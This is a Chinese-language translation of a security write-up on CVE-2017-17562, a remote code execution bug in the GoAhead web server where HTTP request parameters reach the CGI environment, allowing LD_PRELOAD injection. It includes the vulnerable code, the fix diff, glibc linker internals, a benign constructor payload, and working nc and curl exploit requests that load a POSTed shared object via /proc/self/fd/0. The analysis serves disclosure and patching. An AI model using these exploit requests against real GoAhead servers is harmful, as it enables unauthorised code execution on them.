原標題:GoAhead Web Server遠程代碼執行漏洞分析(附PoC)
本文是關於GoAhead web server遠程代碼執行漏洞(CVE-2017-17562)的分析,該漏洞源於在初始化CGI腳本環境時使用了不受信的HTTP請求參數,會對所有啟用了動態連結可執行文件(CGI腳本)的用戶造成影響。在此過程中,當CGI腳本調用glibc動態連結器時,特殊變量LD_PRELOAD可被注入濫用,從而導致遠程代碼執行。該漏洞是個典型的環境變量案例,能推廣應用到其它不安全的軟體架構漏洞發現中。
GoAhead在其官網聲稱為「世界上最流行的微型嵌入式Web伺服器」,被IBM、HP、Oracle、波音、D-link和摩託羅拉等公司廣泛使用。通過Shodan搜索,可探測到全球共有735,000多個GoAhead當前伺服器在線。
漏洞分析
在我們進行該項漏洞研究期間,我們發現,該漏洞影響範圍涉及GoAhead的早期版本2.5.0和當前最新版本(3.x),幾乎是全版本覆蓋。可以通過以下方式對存在漏洞的GoAhead程序進行安裝編譯操作:
# Cloning and running the vulnerable GoAhead daemon daniel@makemyday:~$ git clone https://github.com/embedthis/goahead.git Cloning into 'goahead'... remote: Counting objects: 20583, done. remote: Total 20583 (delta 0), reused 0 (delta 0), pack-reused 20583 Receiving objects: 100% (20583/20583), 19.71 MiB | 4.76 MiB/s, done. Resolving deltas: 100% (14843/14843), done. daniel@makemyday:~$ cd goahead/ daniel@makemyday:~/goahead$ ls configure CONTRIBUTING.md doc installs main.me Makefile paks README.md test configure.bat dist farm.json LICENSE.md make.bat package.json projects src daniel@makemyday:~/goahead$ git checkout tags/v3.6.4 -q daniel@makemyday:~/goahead$ make > /dev/null daniel@makemyday:~/goahead$ cd test daniel@makemyday:~/goahead/test$ gcc ./cgitest.c -o cgi-bin/cgitest daniel@makemyday:~/goahead/test$ sudo ../build/linux-x64-default/bin/goahead 代碼分析
漏洞存在於cgiHandler函數中,該函數能為新進程的envp參數分配一個指針數組,然後使用從HTTP請求參數中獲取的鍵值對來進行初始化。最後,launchCgi函數會被fork和execve所執行的CGI腳本調用。
我們可看到在cgiHandler函數中,程序只對REMOTE_HOST和HTTP_AUTHORIZATION進行了過濾,其他變量被誤認為可信,並未被採取進一步過濾措施,這就使得允許攻擊者可以在新的CGI進程中控制環境變量,非常危險。
# goahead/src/cgi.c:cgihandler ... PUBLIC bool cgiHandler(Webs *wp) { Cgi *cgip; WebsKey *s; char cgiPrefix[ME_GOAHEAD_LIMIT_FILENAME], *stdIn, *stdOut, cwd[ME_GOAHEAD_LIMIT_FILENAME]; char *cp, *cgiName, *cgiPath, **argp, **envp, **ep, *tok, *query, *dir, *extraPath, *exe; CgiPid pHandle; int n, envpsize, argpsize, cid; ... /* Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a few we don't already have in the symbol table, plus all those that are in the vars symbol table. envp will point to a walloc'd array of pointers. Each pointer will point to a walloc'd string containing the keyword value pair in the form keyword=value. Since we don't know ahead of time how many environment strings there will be the for loop includes logic to grow the array size via wrealloc. */ envpsize = 64; envp = walloc(envpsize * sizeof(char*)); for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) { if (s->content.valid && s->content.type == string && strcmp(s->name.value.string, "REMOTE_HOST") != 0 && strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) { envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string); trace(5, "Env[%d] %s", n, envp[n-1]); if (n >= envpsize) { envpsize *= 2; envp = wrealloc(envp, envpsize * sizeof(char *)); } } } *(envp+n) = NULL; /* Create temporary file name(s) for the child's stdin and stdout. For POST data the stdin temp file (and name) should already exist. */ if (wp->cgiStdin == NULL) { wp->cgiStdin = websGetCgiCommName(); } stdIn = wp->cgiStdin; stdOut = websGetCgiCommName(); if (wp->cgifd >= 0) { close(wp->cgifd); wp->cgifd = -1; } /* Now launch the process. If not successful, do the cleanup of resources. If successful, the cleanup will be done after the process completes. */ if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) { ... 補丁分析
該漏洞可以通過跳過特殊參數名稱,而對其它參數添加一個靜態字符串前綴來修復,即使對於形式為a = b%00LD_PRELOAD%3D的參數,似乎也能有針對性解決。補丁形式如下:
# git diff f9ea55a 6f786c1 src/cgi.c diff --git a/src/cgi.c b/src/cgi.c index 899ec97b..18d9b45b 100644 --- a/src/cgi.c +++ b/src/cgi.c @@ -160,10 +160,17 @@ PUBLIC bool cgiHandler(Webs *wp) envpsize = 64; envp = walloc(envpsize * sizeof(char*)); for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) { - if (s->content.valid && s->content.type == string && - strcmp(s->name.value.string, "REMOTE_HOST") != 0 && - strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) { - envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string); + if (s->content.valid && s->content.type == string) { + if (smatch(s->name.value.string, "REMOTE_HOST") || + smatch(s->name.value.string, "HTTP_AUTHORIZATION") || + smatch(s->name.value.string, "IFS") || + smatch(s->name.value.string, "CDPATH") || + smatch(s->name.value.string, "PATH") || + sstarts(s->name.value.string, "LD_")) { + continue; + } + envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_PREFIX, + s->name.value.string, s->content.value.string); trace(5, "Env[%d] %s", n, envp[n-1]); if (n >= envpsize) { envpsize *= 2; 漏洞利用分析
雖然將任意環境變量注入新進程的漏洞利用功能看起來相對良性,但有時候一些「特殊」環境變量會導致動態連結程序的其它控制流產生。
ELF動態連結器
GoAhead的二進位ELF文件頭信息顯示,它是一個64位動態連結的可執行文件,解釋程序在INTERP段被指定,並且指向動態連結器/lib64/ld-linux-x86-64.so.2。
# Reading the ELF header daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -hl ./goahead ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: DYN (Shared object file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0xf80 Start of program headers: 64 (bytes into file) Start of section headers: 21904 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 9 Size of section headers: 64 (bytes) Number of section headers: 34 Section header string table index: 33 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000001f8 0x00000000000001f8 R E 0x8 INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238 0x000000000000001c 0x000000000000001c R 0x1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] ... daniel@makemyday:~/goahead/build/linux-x64-default/bin$
在動態連結程序執行過程中,動態連結器是首先運行的代碼,它負責連結加載共享對象並解析各種符號。為了獲得goahead進程加載的所有共享對象列表,我們可以把特殊的環境變量LD_TRACE_LOADED_OBJECTS設置為1,隨後,它會顯示加載的庫信息並退出。如下所示:
# ld.so LD_TRACE_LOADED_OBJECTS daniel@makemyday:~/goahead/build/linux-x64-default/bin$ LD_TRACE_LOADED_OBJECTS=1 ./goahead linux-vdso.so.1 => (0x00007fff31bb4000) libgo.so => /home/daniel/goahead/build/linux-x64-default/bin/libgo.so (0x00007f571f548000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f571f168000) libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f571ef49000) /lib64/ld-linux-x86-64.so.2 (0x00007f571f806000) daniel@makemyday:~/goahead/build/linux-x64-default/bin$ 在不運行動態連結器的情況下,我們也可以通過靜態方式找到該信息,方法是grep方式遞歸查找每個ELF共享對象中定義的DT_NEEDED條目: # statically finding shared object dependancies daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d ./goahead | grep NEEDED 0x0000000000000001 (NEEDED) Shared library: [libgo.so] 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /home/daniel/goahead/build/linux-x64-default/bin/libgo.so | grep NEEDED 0x0000000000000001 (NEEDED) Shared library: [libpthread.so.0] 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /lib/x86_64-linux-gnu/libc.so.6 | grep NEEDED 0x0000000000000001 (NEEDED) Shared library: [ld-linux-x86-64.so.2] daniel@makemyday:~/goahead/build/linux-x64-default/bin$
注意:可能有人注意到這裡缺少了linux-vdso.so.1,這沒問題,vDSO是由內核映射進用戶進程的特殊共享庫,詳細信息可參考man 7 vdso。
特殊環境變量
所以這些看似正常,但怎麼又和環境變量注入相關呢? 那麼…我們知道在新進程中,動態連結器是首先被執行的代碼 – 如果我們檢查man 8 ld.so後可以發現,一些特殊環境變量的默認操作行為是可以被修改的。我比較喜歡看源碼,我們來一挖究竟。其中dl_main函數就是動態連結器的主要入口點,如下
# glibc/elf/rtld.c:dl_main static void dl_main (const ElfW(Phdr) *phdr, ElfW(Word) phnum, ElfW(Addr) *user_entry, ElfW(auxv_t) *auxv) { const ElfW(Phdr) *ph; enum mode mode; struct link_map *main_map; size_t file_size; char *file; bool has_interp = false; unsigned int i; ... /* Process the environment variable which control the behaviour. */ process_envvars (&mode);
該函數首先執行的任務是調用process_envvars方法:
# glibc/elf/rtld.c:process_envvars static void process_envvars (enum mode *modep) { char **runp = _environ; char *envline; enum mode mode = normal; char *debug_output = NULL; /* This is the default place for profiling data file. */ GLRO(dl_profile_output) = &"/var/tmp\0/var/profile"[__libc_enable_secure ? 9 : 0]; while ((envline = _dl_next_ld_env_entry (&runp)) != NULL) { size_t len = 0; while (envline[len] != '\0' && envline[len] != '=') ++len; if (envline[len] != '=') /* This is a "LD_" variable at the end of the string without a '=' character. Ignore it since otherwise we will access invalid memory below. */ continue; switch (len) { case 4: /* Warning level, verbose or not. */ if (memcmp (envline, "WARN", 4) == 0) GLRO(dl_verbose) = envline[5] != '\0'; break; case 5: /* Debugging of the dynamic linker? */ if (memcmp (envline, "DEBUG", 5) == 0) { process_dl_debug (&envline[6]); break; } if (memcmp (envline, "AUDIT", 5) == 0) audit_list_string = &envline[6]; break; case 7: /* Print information about versions. */ if (memcmp (envline, "VERBOSE", 7) == 0) { version_info = envline[8] != '\0'; break; } /* List of objects to be preloaded. */ if (memcmp (envline, "PRELOAD", 7) == 0) { preloadlist = &envline[8]; break; }
可以看到,動態連結器會去解析envp數組,如果找到特殊變量名稱,則會執行不同的代碼路徑。非常有意思的是,case 7代碼對初始化preloadlist的LD_PRELOAD進程處理機制。
深入分析dl_main可知,如果preloadlist不為NULL,則handle_ld_preload就會被調用,如下:
# glibc/elf/rtld.c:dl_main ... /* We have two ways to specify objects to preload: via environment variable and via the file /etc/ld.so.preload. The latter can also be used when security is enabled. */ assert (*first_preload == NULL); struct link_map **preloads = NULL; unsigned int npreloads = 0; if (__glibc_unlikely (preloadlist != NULL)) { HP_TIMING_NOW (start); npreloads += handle_ld_preload (preloadlist, main_map); HP_TIMING_NOW (stop); HP_TIMING_DIFF (diff, start, stop); HP_TIMING_ACCUM_NT (load_time, diff); } ...
handle_ld_preload方法會解析preloadlist,並把其值當成要加載的一個共享對象列表:
# glibc/elf/rtld.c:handle_ld_preload /* The list preloaded objects. */ static const char *preloadlist attribute_relro; /* Nonzero if information about versions has to be printed. */ static int version_info attribute_relro; /* The LD_PRELOAD environment variable gives list of libraries separated by white space or colons that are loaded before the executable's dependencies and prepended to the global scope list. (If the binary is running setuid all elements containing a '/' are ignored since it is insecure.) Return the number of preloads performed. */ unsigned int handle_ld_preload (const char *preloadlist, struct link_map *main_map) { unsigned int npreloads = 0; const char *p = preloadlist; char fname[SECURE_PATH_LIMIT]; while (*p != '\0') { /* Split preload list at space/colon. */ size_t len = strcspn (p, " :"); if (len > 0 && len < sizeof (fname)) { memcpy (fname, p, len); fname[len] = '\0'; } else fname[0] = '\0'; /* Skip over the substring and the following delimiter. */ p += len; if (*p != '\0') ++p; if (dso_name_valid_for_suid (fname)) npreloads += do_preload (fname, main_map, "LD_PRELOAD"); } return npreloads; }
綜合分析一下可知:我們能對goahead環境變量LD_PRELOAD進行注入,我們可以利用glibc處理特殊變量(如LD_PRELOAD等)的方式,來加載其它任意共享對象。
ELF格式的SO文件
所以,這就非常厲害了,我們能強制加載任意共享對象,但如何能利用它實現代碼執行呢?檢查.init和.fini段代碼後可以發現,如果我們用構造函數屬性來包裝修飾一個方法函數,那我們就能強制該方法函數在Main方法之前被調用執行。如下PoC:
# PoC/payload.c #include static void before_main(void) __attribute__((constructor)); static void before_main(void) { write(1, "Hello: World!\n", 14); }
將payload.c編譯為共享對象:
# Compiling payload.c as shared object. daniel@makemyday:~/goahead/PoC$ gcc -shared -fPIC ./payload.c -o payload.so daniel@makemyday:~/goahead/PoC$ LD_PRELOAD=./payload.so cat /dev/null Hello: World! daniel@makemyday:~/goahead/PoC$
好了,如果我們在測試系統上執行該PoC,會產生什麼效果呢?如下執行一個簡單的PoC:
# Trying a simple PoC daniel@makemyday:~/goahead/PoC$ ls -la ./payload.so -rwxrwxr-x 1 daniel daniel 7896 Dec 13 17:38 ./payload.so daniel@makemyday:~/goahead/PoC$ echo -en "GET /cgi-bin/cgitest?LD_PRELOAD=$(pwd)/payload.so HTTP/1.0\r\n\r\n" | nc localhost 80 | head -10 HTTP/1.0 200 OK Date: Wed Dec 13 02:38:56 2017 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Pragma: no-cache Cache-Control: no-cache hello: World! content-type: text/html daniel@makemyday:~/goahead/PoC$
運行之後可以看到,我們的共享代碼由cgitest進程通過LD_PRELOAD執行了。
LINUX下的 /PROC/SELF/FD/0目錄利用
還有一個關鍵問題就是,即使我們可以從本地伺服器加載共享對象,且能達到代碼執行目的,但我們如何將構造的惡意共享對象注入到遠程目標伺服器中呢?如果不能實現這點,那麼合法的共享對象對我們也沒什麼用處,漏洞利用危害也會相對較低。
幸運的是,launchCgi函數實際上使用dup2()將stdin文件描述符指向包含POST請求內容的臨時文件,這也就是說,伺服器上會有一個包含用戶提供的數據文件,並且可以通過LD_PRELOAD=/tmp/cgi-XXXXXX的方式進行引用。
# goahead/src/cgi.c:launchCgi /* Launch the CGI process and return a handle to it. */ static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut) { int fdin, fdout, pid; trace(5, "cgi: run %s", cgiPath); if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) < 0) { error("Cannot open CGI stdin: ", cgiPath); return -1; } if ((fdout = open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, 0666)) < 0) { error("Cannot open CGI stdout: ", cgiPath); return -1; } pid = vfork(); if (pid == 0) { /* Child */ if (dup2(fdin, 0) < 0) { printf("content-type: text/html\n\nDup of stdin failed\n"); _exit(1); } else if (dup2(fdout, 1) < 0) { printf("content-type: text/html\n\nDup of stdout failed\n"); _exit(1); } else if (execve(cgiPath, argp, envp) == -1) { printf("content-type: text/html\n\nExecution of cgi process failed\n"); } ... }
不過,這種方式稍顯模糊,需要猜測包含POST內容的臨時文件,但好在Linux procfs文件系統有一個很好的符號連結,我們可以用它來引用stdin描述符,從而指向我們的臨時文件,就比如將 LD_PRELOAD指向/proc/self/fd/0,或使用/dev/stdin來訪問臨時文件。
# linux/fs/proc/self.c static const char *proc_self_get_link(struct dentry *dentry, struct inode *inode, struct delayed_call *done) { struct pid_namespace *ns = inode->i_sb->s_fs_info; pid_t tgid = task_tgid_nr_ns(current, ns); char *name; if (!tgid) return ERR_PTR(-ENOENT); /* 11 for max length of signed int in decimal + NULL term */ name = kmalloc(12, dentry ? GFP_KERNEL : GFP_ATOMIC); if (unlikely(!name)) return dentry ? ERR_PTR(-ENOMEM) : ERR_PTR(-ECHILD); sprintf(name, "%d", tgid); set_delayed_call(done, kfree_link, name); return name; } static const struct inode_operations proc_self_inode_operations = { .get_link = proc_self_get_link, };
綜合分析可知,我們可在POST請求中內置一個包含構造函數的惡意共享對象,當程序加載後,該構造函數會被調用執行。當然,也可以在HTTP參數中內置?LD_PRELOAD=/proc/self/fd/0命令,通過該命令指向包含測試Payload的臨時文件,也能實現目的。如下在POST請求中利用命令行實現漏洞利用:
# exploiting via the command line daniel@makemyday:~/goahead/PoC$ curl -X POST --data-binary @payload.so http://makemyday/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i | head % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 9931 0 2035 100 7896 2035 7896 0:00:01 0:00:01 --:--:-- 9774 HTTP/1.1 200 OK Date: Sun Dec 17 13:08:20 2017 Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Pragma: no-cache Cache-Control: no-cache hello: World! Content-type: text/html daniel@makemyday:~/goahead/PoC$
POC:Github
總結
該漏洞是一個對環境變量LD_PRELOAD的特殊利用案例,幾乎影響所有GoAhead版本軟體。這種漏洞可能還存在於其它應用服務中,非常有意思,它們只是對漏洞字符串的簡單利用,還不需要涉及代碼審計層面。
儘管在大多Web應用服務中,CGI代碼處理機制相對穩定,但在一些模塊中可能還存在著明顯的代碼錯誤,這些錯誤會導致很多異常漏洞,對此,我建議可先用grep命令來查找這個websDefineHandler入口地址。
如果你對連結和加載機制感興趣,可參考這兩篇文章(一, 二),感謝閱讀。
*參考來源:elttam,freebuf小編clouds編譯,轉載請註明來自FreeBuf.COM返回搜狐,查看更多
責任編輯: